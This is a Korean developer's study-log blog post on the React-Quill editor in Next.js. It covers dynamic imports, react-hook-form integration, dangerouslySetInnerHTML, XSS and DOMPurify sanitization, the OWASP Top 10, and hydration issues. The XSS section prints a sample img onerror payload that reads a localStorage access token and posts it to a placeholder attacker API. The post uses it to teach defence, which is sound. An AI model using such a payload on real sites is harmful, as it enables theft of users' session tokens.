[TIL 0419] 웹 에디터 (React-quill)

zitto·2023년 4월 19일
1

TIL

목록 보기
57/77
post-thumbnail

💡 웹 에디터 적용하기

React-Quill
: textarea의 단점들을 보완해 stylish 하게 내용을 작성할 수 있도록 도와주는 웹 에디터 라이브러리

  • 설치명령어
    yarn add react-quill


[실습]

//라이브러리와 사용될 스타일CSS파일 호출하기
import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";
export default function WebEditorPage() {
  const handleChange = (value: string) => {
    console.log(value);
  };
  return (
    <div>
      작성자: <input type="text" />
      <br />
      비밀번호: <input type="password" />
      <br />
      제목: <input type="text" />
      <br />
//docs를 참고해서 ReactQuill에 onChange 함수를 넣어준다.
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}

ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소로,
이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념!

그러나

에러발생!
이유는?
Next.js 는 기본적으로 서버사이드 렌더링을 지원하는데,
서버에서 페이지를 미리 렌더링(pre-rendering) 하는 단계에서는
브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.
window 또는 document object 를 선언하기 전이기 때문에
document가 선언되지 않았다는 에러가 발생하는 것!

이 문제를 해결하기 위해서는 document 가 선언된 시점 이후에 React-Quill을 import 해야 한다.

Next.js 의 dynamic import 방식을 사용해 해결!

import dynamic from "next/dynamic";
import "react-quill/dist/quill.snow.css";
import { Modal } from "antd";
import { wrapFormAsync } from "../../../src/commons/libraries/asyncFunc";
// import ReactQuill from "react-quill";
const ReactQuill = dynamic(async () => await import("react-quill"), {
  ssr: false,
});
// let MyModal;
export default function WebEditorPage(): JSX.Element {
  //   useEffect(() => {
  //     const aaa = async (): Promise<void> => {
  //       const { Modal } = await import("antd"); // code-splitting(코드스플릿팅)
  //       MyModal = Modal;
  //     };
  //     void aaa();
  //   }, []);
  const onClickSubmit = async (): Promise<void> => {
    const { Modal } = await import("antd"); // code-splitting(코드스플릿팅)
    Modal.success({
      content: "게시글 등록에 성공했습니다.",
    });
  };
  const onChangeContents = (value: string): void => {
    console.log(value);
  };
  return (
    <form onSubmit={wrapFormAsync(onClickSubmit)}>
      작성자: <input type="text" />
      <br />
      비밀번호: <input type="password" />
      <br />
      제목: <input type="text" />
      <br />
      내용: <ReactQuill onChange={onChangeContents} />
      <button>등록하기</button>
    </form>
  );
}

Next.js에서 제공하는 dynamic은,
해당 모듈의 호출시점을 document 에 대한 정보가 선언된 후의 시점으로 옮겨서 호출 할 수 있게 도와준다.

즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출해서
이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있다.

dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 한다.
다운로드가 반드시 필요하지 않는 부분은 dynamic import를 사용해
필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.

이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 코드를 분리했다고 해서 코드 스플릿팅이라고 한다.


💡 react-hook-form과 함께 사용하기

import dynamic from "next/dynamic";
import { useForm } from "react-hook-form";
import "react-quill/dist/quill.snow.css";
import { wrapFormAsync } from "../../../src/commons/libraries/asyncFunc";
const ReactQuill = dynamic(async () => await import("react-quill"), {
  ssr: false,
});
export default function WebEditorPage(): JSX.Element {
  const { register, setValue, trigger } = useForm({
    mode: "onChange",
  });
  // ReactQuill 에서 지정된 onChange 이므로 event 말고 value가 들어오게 설정되어있음
  const onChangeContents = (value: string): void => {
    console.log(value);
    // useForm이 내용(contents)에 입력된 데이터까지 인식하도록 할 수 있게하는 법? register로 등록하지 않고, 강제로 값을 넣어주자!!
   	//조건부 렌더링으로 React-Quill에 값이 입력되었다가 지워졌을 때 남는 찌꺼기 태그도 없애준다.
    setValue("contents", value === "<p><br></p>" ? "" : value);
    //하지만 값만 변경되었을 뿐, contents의 입력 여부는 검증할 수 없다.
    // onChange의 여부를 trigger요소를 이용해 react-hook-form에 알려주는 기능!!
    void trigger("contents");
  };
  const onClickSubmit = async (): Promise<void> => {
    const { Modal } = await import("antd"); // code-splitting(코드스플릿팅)
    Modal.success({
      content: "게시글 등록에 성공했습니다.",
    });
  };
  return (
    <form onSubmit={wrapFormAsync(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      //onChange 요소가 들어간 ReactQuill 내용 컴포넌트에는 register가 적용되지 않는다.
      내용: <ReactQuill onChange={onChangeContents} />
      <button>등록하기</button>
    </form>
  );
}

💡 react-hook-form을 이용한 게시글 등록하기

export default function WebEditorPage() {
  const router = useRouter();
  const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
    mode: "onChange",
  });
  const handleChange = (value: string) => {
    console.log(value);
    setValue("contents", value === "<p><br></p>" ? "" : value);
    trigger("contents");
  };
  const onClickSubmit = async (data: IFormValues) => {
    if (!(data.writer && data.password && data.title && data.contents)) {
      Modal.warning({ content: "필수 입력 사항입니다." });
      return;
    }
    try {
      //해당함수 안에 createBoard 요청을 넣고, 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해준다.
      const result = await createBoard({
        variables: {
          createBoardInput: {
            writer: data.writer,
            password: data.password,
            title: data.title,
            contents: data.contents,
          },
        },
      });
	// 완료된 페이지로 이동!!
      router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
    } catch (error) {
      if (error instanceof Error) Modal.error({ title: error.message });
    }
  };
  return (
	//form으로 감싸고, form에 onSubmit 요소 더하기
	//handleSubmit을 이용해서 submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣는다.
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </form>
  );
}
  • routing으로 연결된 상세페이지
import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
  IQuery,
  IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";
const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;
export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );
  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div>내용: {data?.fetchBoard.contents}</div>
    </div>
  );
}

💡 웹 에디터로 등록한 게시글 보여주기

작성페이지에서 게시글 입력 후 등록요청을 보내면,
상세페이지에서는 HTML태그가 포함된 내용이 들어온다.

이때 웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문에
HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태로 화면에 출력해야 한다.

그러나 React 프로젝트에서는
기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있다.

따라서 위험을 감수하고 추가하려는 HTML 태그를 작성해야한다.

✔️ dangerouslySetInnerHTML 속성 이용하기

export default function WebEditorDetail() {
  const router = useRouter();
  const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
    FETCH_BOARD,
    {
      variables: { boardId: String(router.query.id) },
    }
  );
  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}

div 또는 span 태그에 제공되는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해준다.
또한, div 및 span 태그로 dangerouslySetInnerHTML 를 사용한다면
반드시 < />빈 태그 형식으로 작성해야 한다.


💡 크로스 사이트 스크립트 (XSS)

dangerouslySetInnerHTML을 이용하면
웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있다.
하지만 공격 받을 여지가 매우 큰 위험한 방식임!!!

공격사례예시)

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />
  • onerror : 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소로, 일반적으로는 대체 이미지 경로를 입력한다.

간단한 예시 코드에 불가하지만,
onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에
dangerouslySetInnerHTML을 이용할 경우 유저의 민감 정보의 탈취위험이 노출되어 있다.

즉, dangerouslySetInnerHTML가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.

다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 한다.

방어할 수 있는 방법은?


✔️ Dompurify 설치

: 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리

  • 설치 명령어
    yarn add dompurify
    yarn add -D @types/dompurify

[실습]

import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import Dompurify from "dompurify";
const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;
export default function StaticRoutingPage(): JSX.Element {
  const router = useRouter();
  console.log(router);
  const { data } = useQuery(FETCH_BOARD, {
    variables: { boardId: router.query.qqq },
  });
  console.log(data);
  return (
    <div>
      <div>게시글 이동이 완료되었습니다.</div>
      <div>작성자: {data?.fetchBoard?.writer}</div>
      <div>제목: {data?.fetchBoard?.title}</div>
  	//DOMPutify를 적용해서 안정성을 확보
    //서버 사이드 렌더링 에러를 해결하기 위해 다음과 같은 조건부 렌더링을 추가
      {typeof window !== "undefined" && (
        <div
          dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(data?.fetchBoard?.contents),
          }}
        />
      )}
    </div>
  );
}

💡 OWASP TOP 10

OWASP란?
Open Web Application Security Project의 약자로 오픈소스 웹 애플리케이션 보안 프로젝트를 의미한다.

주로 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며
3-4년에 한 번씩 정기적으로 업데이트 된다.

  • A01 : Broken Access Control (접근 권한 취약점)
  • A02 : Cryptographic Failures (암호화 오류)
  • A03: Injection (인젝션)
  • A04: Insecure Design (안전하지 않은 설계)
  • A05: Security Misconfiguration (보안설정오류)
  • A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
  • A07: Identification and Authentication Failures (식별 및 인증 오류)
  • A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
  • A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
  • A10: Server-Side Request Forgery (서버 측 요청 위조)

매년OWASP 상위권을 유지하는 것 중 하나가 Injection
SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데,
이 조건을 직접 조작하여 공격하는 기법이다. 현재는 ORM을 사용해 막고 있다.


💡 Hydration Issue

  • detail page
return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {typeof window !== "undefined" && (
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)

각 div태그에 color라는 스타일을 적용하고 yarn dev로 렌더링된 모습을 확인해보면,

지정해준 제목부분의 green 색상이 적용되지 않는 것을 확인할 수 있다.
이런 현상이 바로 Hydration Issue 때문이다!

✔️ Next.js의 페이지 그리는 과정

Next.js는 이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에,
프론트엔드 서버에서 pre-rendering된 결과물
브라우저에서 그려진 결과물의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.

그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우,
삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.

수정된코드

return (
	<div>
    <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
    {typeof window !== "undefined" ?(
			<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
		) : (
			<div style={{color: "green"}} />
		)}
    <div style={{color: "blue"}}>내용: 반갑습니다!<div>
  </div>
)
profile
JUST DO WHATEVER

0개의 댓글